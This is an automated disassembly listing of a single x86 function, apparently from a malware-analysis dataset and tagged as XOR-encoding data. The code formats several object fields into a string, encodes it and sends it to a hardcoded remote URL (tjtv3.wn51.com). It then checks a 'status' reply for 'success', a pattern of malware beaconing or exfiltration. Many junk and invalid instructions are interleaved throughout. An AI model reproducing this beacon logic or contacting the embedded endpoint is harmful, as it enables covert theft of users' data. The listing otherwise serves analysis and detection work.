Function at 0x4161e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a28ae
mov eax, dword fs:[0]
push eax
mov eax, 0x1e3c
call fcn.00439f30
mov eax, dword [0x62c144]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1df0], ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1dec], eax
call fcn.0043d708
test al, al
je 0x41623b
xchg edx, eax
movsd dword es:[edi], dword [esi]
or eax, 0x3d367c48
arpl word [edi], si
call 0x4d6fae92
aaa
call fcn.0043d411
test al, al
je 0x416263
push esi
sbb eax, 0xa8b32557
out dx, al
and eax, 0x769796a1
shr byte [edi + 0x4a], cl
cmp eax, ecx
push edi
xchg edi, eax
or al, 0x57
lahf
or byte [edx - 0x4efa6ae], ch
mov ebp, dword [eax]
into
call fcn.0043d22e
test al, al
je 0x416282
sbb eax, dword [edi + 0x5990fb4a]
lodsd eax, dword [esi]
jbe 0x416218
mov edx, 0x19df2724
add ebx, dword [ebx + 0x5141ab]
sub eax, 0x14bd8310
loop 0x416286
cmp dword [ebp - 0x1dec], 0
mov ebp, 0xffffe214
add byte [edi], cl
test ch, bl
or byte [eax], al
add al, ch
mov byte [ebp + 2], dh
add byte [eax + eax*8 - 0x2724ec8c], al
invalid
inc dword [eax]
je 0x416b6c
call fcn.0043d81c
test al, al
je 0x4162ab
fcmovnu st(0), st(0)
push esp
push ds
xor dword [ecx + 0x7f02c287], edx
add dl, byte [eax - 0x51]
pop ecx
cdq
mov bh, 6
or dword [eax + ebp*8 - 0x1e], 0x84000274
sal byte [ebx + ebx - 0x65], 0x3d
push edx
test dword [edi - 0x58ebf8f9], edi
call fcn.0043d792
test al, al
je 0x4162cf
wait
cmp eax, 0x7bf8552
pop es
adc al, 0xa7
jg 0x416283
and al, 5
into
inc ecx
das
adc eax, 0xc7cd5b25
movsb byte es:[edi], byte [esi]
jnp 0x4162f8
mov dword [edx + edx*4 + 0x27479e8], esi
add byte [eax + eax*8 + 0x44e71974], al
call fcn.0043d74d
test al, al
je 0x4162f1
out 0x44, eax
shl byte [edx], 1
adc bh, bl
retf 0x431b
mov edx, dword [ebp - 0x1dec]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
cmp byte [edx], 0
jne 0x41631b
test dword [eax], ebx
jecxz 0x4162fb
invalid
dec dword [edi]
add byte [eax], al
add bh, al
test dword [ebx], edx
invalid
xor ecx, ecx
jmp 0x416329
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416320
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1cfc]
call fcn.00401ea0
lea eax, [ebp - 0x1cfc]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x1d2c]
push eax
call fcn.0043210d
add esp, 8
mov eax, dword [ebp - 0x1ce8]
mov byte [ebp - 4], 2
cmp eax, 0x10
jb 0x416375
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.004021c0
mov edx, dword [ebp - 0x1d1c]
lea esi, [ebp - 0x1d2c]
mov ebx, dword [ebp - 0x1d18]
mov eax, 0x64
mov edi, dword [ebp - 0x1d2c]
cmp edx, eax
mov ecx, edx
mov dword [ebp - 0x1ce8], 0xf
cmovg ecx, eax
mov dword [ebp - 0x1cec], 0
cmp ebx, 8
mov byte [ebp - 0x1cfc], 0
lea eax, [ebp - 0x1d2c]
cmovae eax, edi
cmovae esi, edi
lea ecx, [eax + ecx*2]
lea eax, [ebp - 0x1d2c]
cmovae eax, edi
push ecx
push esi
lea ecx, [ebp - 0x1d2c]
lea eax, [eax + edx*2]
lea edx, [ebp - 0x1d2c]
cmovae edx, edi
push eax
push edx
call fcn.00417e10
cmp dword [ebp - 0x1d18], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d2c]
cmovae eax, dword [ebp - 0x1d2c]
push ecx
push eax
call fcn.0042893c
add esp, 8
call fcn.0043d1e9
test al, al
je 0x41642b
push 0x23
cmp edi, dword [esi - 0x525f60b3]
cmp dword [ebx], ebp
adc cl, ch
push ecx
mov ch, 0xb7
leave
retf
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00446360
add esp, 0xc
call fcn.0043d456
test al, al
je 0x41645a
pop ss
pop esi
xlatb
invalid
call fcn.0043d7d7
test al, al
je 0x416483
dec ecx
int 0x57
inc ebx
ret 0xcb3f
call fcn.0043d1e9
test al, al
je 0x4164aa
mov dl, 0xa5
adc cl, byte [ebp - 0x65]
xchg byte [eax], dl
mov cl, 0x8a
and eax, 0xeb07557e
adc eax, 0xad8f83ac
dec esp
rcr dword [ecx + 0xb], 0xf7
push ebx
inc esp
adc eax, dword [ebx - 0x42744227]
adc dl, ah
invalid
mov edi, dword [ebp - 0x1df0]
cmp dword [edi + 0x9c], 0x10
lea eax, [edi + 0x88]
jb 0x4164c1
mov eax, dword [eax]
cmp dword [edi + 0x54], 0x10
lea ecx, [edi + 0x40]
jb 0x4164cc
mov ecx, dword [ecx]
cmp dword [edi + 0x84], 0x10
lea edx, [edi + 0x70]
jb 0x4164da
mov edx, dword [edx]
cmp dword [edi + 0x3c], 0x10
lea esi, [edi + 0x28]
jb 0x4164e5
mov esi, dword [esi]
push eax
lea eax, [ebp - 0x114]
push eax
push ecx
push edx
push esi
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s
push eax
call fcn.00409f80
add esp, 0x1c
call fcn.0043d6c3
test al, al
je 0x41651e
inc esp
jbe 0x416546
dec edx
cmc
cmpsd dword [esi], dword es:[edi]
aas
das
stosb byte es:[edi], al
push 0xffffffffffffffd5
mul dword [ecx - 0xc062429]
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00446360
add esp, 0xc
mov dword [ebp - 0x1df8], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1dfc], 0xbb8
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
jne 0x416570
test dword [edx], eax
invalid
xor ecx, ecx
jmp 0x416589
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416580
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00401ea0
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1dfc]
push ecx
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 3
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.0043f293
add esp, 0x10
call fcn.0043d639
test al, al
je 0x4165fd
sbb al, 0xe3
invalid
ret 0x12a1
call fcn.0043d411
test al, al
je 0x416626
mov cl, 0x84
rsqrtps xmm4, xmm0
jno 0x4165c4
fist word [esi + 7]
or ch, cl
test dword [edx - 0x7398dd4a], edi
sbb edi, eax
mov dh, ah
clc
nop
jo 0x4165c4
inc esi
stosd dword es:[edi], eax
ljmp 0x885
lea eax, [ebp - 0x1df8]
mov ecx, edi
push eax
lea eax, [ebp - 0xccc]
push eax
call fcn.00415950
cmp byte [ebp - 0xccc], 0
jne 0x416648
xor ecx, ecx
jmp 0x41665a
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416651
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00401ea0
push dword [ebp - 0x1df8]
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00446360
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1df8]
push ecx
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.0043f293
add esp, 0x1c
call fcn.0043d792
test al, al
je 0x4166d1
adc eax, 0x87931af2
sbb bl, ch
adc al, 0x14
mov bl, 0x29
or dword [0xeedf6aba], eax
push eax
cmp esi, dword [0x8d8d2a61]
sbb esp, edx
invalid
lea ecx, [ebp - 0x1de5]
call fcn.0041d280
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x1de5]
call fcn.0043fa82
add al, byte [eax]
call fcn.0043d5f4
test al, al
je 0x41670b
dec ebx
cmp byte [ebx + edx*4 + 0x5e], dl
jg 0x4166f0
je 0x416764
cdq
and ch, cl
movsw word es:[edi], word [esi]
fist dword [edx + 0x6a]
inc ebp
push 0x45
push str.https:__tjtv3.wn51.com__607557e4dc339e9d17fe2b97e31a62beccf14b5ac5
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
add byte [eax], al
add byte [eax], al
mov byte [ebp - 0x1d14], 0
call fcn.00401ea0
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 5
jne 0x416749
add eax, 0xc9330475
xor ecx, ecx
jmp 0x41675b
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416752
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1d14]
call fcn.00406f60
call fcn.0043d708
test al, al
je 0x416796
invalid
jae 0x416742
inc ebx
imul byte [edx]
out dx, al
dec esp
jbe 0x416728
invalid
call fcn.0043d1a4
test al, al
je 0x4167b8
adc al, 0x9b
mov ebp, 0x2e104007
aas
dec edi
fcom qword [edi + ebx*2]
out 0xe1, al
push es
imul dword [esi - 0x1b]
xchg ebx, eax
xor al, 0x41
or byte [edi - 0x6617a47c], ch
insb byte es:[edi], dx
add al, byte [eax]
call fcn.0043d456
test al, al
je 0x4167dd
js 0x416838
js 0x416836
xor eax, 0xaf81e160
popfd
int 6
insd dword es:[edi], dx
sub dword [edx], edi
mov dword [ebp - 0x21], ebx
xchg ecx, eax
cmp al, 0xb
in al, 0xf3
sub bl, bh
int 0x9e
fadd dword [eax + 0xf00087d]
test dword [ecx + 0x33000000], eax
rol bh, 0x85
mov al, byte [0x7ffffe2]
add byte [eax], al
add bh, al
test dword [edx + 0xffff], ebx
add byte [eax], al
cmp byte [ebp + 8], 0
jne 0x416868
xor eax, eax
mov dword [ebp - 0x1d60], 7
mov dword [ebp - 0x1d64], 0
mov word [ebp - 0x1d74], ax
mov dword [ebp - 0x1d48], 0xf
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d5c], al
push 4
push 0x5a83a8
lea ecx, [ebp - 0x1d74]
mov byte [ebp - 4], 6
call fcn.004020c0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1d14]
push eax
lea ecx, [ebp - 0x1d5c]
call fcn.00401d70
mov ecx, dword [ebp - 0x1df0]
lea eax, [ebp - 0x1d74]
push eax
call int.00414dc0
lea ecx, [ebp - 0x1d74]
call fcn.00414d50
jmp 0x416ad1
in al, dx
loop 0x416838
invalid
call dword [eax - 0x73]
lea esp, [edx + 0x2ae8ffff]
mov ch, 0xfe
dec dword [ebx - 0x1def73]
dec dword [ebp - 0x1d737b]
call dword [eax - 0x18]
push 0x8dffffe5
lea ecx, [edx - 0x12170001]
in al, 0xff
invalid
lea ecx, [ebp - 0x1e48]
call fcn.0043da14
cmp dword [ebp - 0x1d00], 0x10
lea eax, [ebp - 0x1d14]
lea ecx, [ebp - 0x1e48]
mov byte [ebp - 4], 7
cmovae eax, dword [ebp - 0x1d14]
push eax
mov dword [ebp - 0x1dec], 0
call fcn.0043de84
lea ecx, [ebp - 0x1e48]
call fcn.0043e253
mov esi, eax
mov eax, 1
mov edi, dword [esi + 4]
sub edi, dword [esi]
cmove edi, eax
inc edi
push edi
call fcn.00439cc8
mov ebx, eax
add esp, 4
mov dword [ebp - 0x1e00], ebx
test ebx, ebx
je 0x4168f8
push edi
push 0
push ebx
call fcn.00446360
mov eax, dword [esi + 4]
add esp, 0xc
xor ecx, ecx
sub eax, dword [esi]
je 0x4168f8
mov eax, dword [esi]
mov al, byte [ecx + eax]
mov byte [ecx + ebx], al
inc ecx
mov eax, dword [esi + 4]
sub eax, dword [esi]
cmp ecx, eax
jb 0x4168e6
xor esi, esi
test ebx, ebx
je 0x416909
push ebx
call fcn.00427c77
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x1df4]
call fcn.0042ca80
lea eax, [ebp - 0x1df4]
push eax
lea ecx, [ebp - 0x1de4]
call fcn.0042ca88
push 0
lea ecx, [ebp - 0x1e10]
mov byte [ebp - 4], 8
call fcn.0042b64d
cmp byte [esi], 0
mov byte [ebp - 4], 9
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
jne 0x41695f
xor ecx, ecx
jmp 0x41696d
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416964
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1cfc]
call fcn.00401ea0
push 1
lea eax, [ebp - 0x1e10]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x1cfc]
push eax
lea ecx, [ebp - 0x1de4]
call fcn.0042e4e4
mov ecx, dword [ebp - 0x1ce8]
mov bl, al
mov byte [ebp - 4], 9
cmp ecx, 0x10
jb 0x4169bd
inc ecx
push ecx
push dword [ebp - 0x1cfc]
lea ecx, [ebp - 0x1cfc]
call fcn.004021c0
test bl, bl
je 0x416a39
push str.status
lea ecx, [ebp - 0x1e10]
call fcn.0042b960
mov ecx, eax
call fcn.0042c457
test al, al
jne 0x416a39
lea eax, [ebp - 0x1d44]
push eax
push str.status
lea ecx, [ebp - 0x1e10]
call fcn.0042b960
mov ecx, eax
call fcn.0042be72
lea eax, [ebp - 0x1d44]
push str.success
push eax
call fcn.0040bf70
xor ecx, ecx
add esp, 8
test al, al
mov eax, dword [ebp - 0x1d30]
setne cl
mov dword [ebp - 0x1dec], ecx
cmp eax, 0x10
jb 0x416a39
pop edx
add byte [eax - 0x18], dl
push ebp
invalid
inc eax
lea ecx, [ebp - 0x1d44]
push eax
push dword [ebp - 0x1d44]
call fcn.004021c0
call fcn.0043d411
test al, al
je 0x416a5d
invalid
call fcn.0043d2b8
test al, al
je 0x416a84
push 0xffffffffffffffba
dec esi
xchg byte [ebx + ecx], ch
and ebp, esi
wait
pop ecx
add dl, ch
mov ah, 0x91
xchg ebx, eax
mov ch, 0x59
je 0x416a03
mov ecx, 0xa09e0496
adc al, 0x1c
sti
pop edi
lea edx, [ebp - 0x75]
test dword [eax], eax
loop 0x416a88
mov eax, dword [ebp - 0x1e00]
test eax, eax
je 0x416a97
invalid
inc dword [ebp + 0x500974c0]
push eax
call fcn.00439cd1
add esp, 4
cmp dword [ebp - 0x1dec], 0
jne 0x416ab0
mov ecx, dword [ebp - 0x1df0]
push 0x5a83a8
call fcn.00414f70
lea ecx, [ebp - 0x1e10]
call fcn.0042b7be
lea ecx, [ebp - 0x1de4]
call fcn.0040c9e0
lea ecx, [ebp - 0x1e48]
call fcn.0043da8a
mov eax, dword [ebp - 0x1d00]
cmp eax, 0x10
jb 0x416aef
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.004021c0
lea ecx, [ebp - 0x1de5]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00401620
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x416b33
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.004021c0
mov eax, dword [ebp - 0x1d18]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
cmp eax, 8
jb 0x416b6c
inc eax
lea ecx, [ebp - 0x1d2c]
push eax
push dword [ebp - 0x1d2c]
call fcn.00402210
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439cb7
mov esp, ebp
pop ebp
ret 8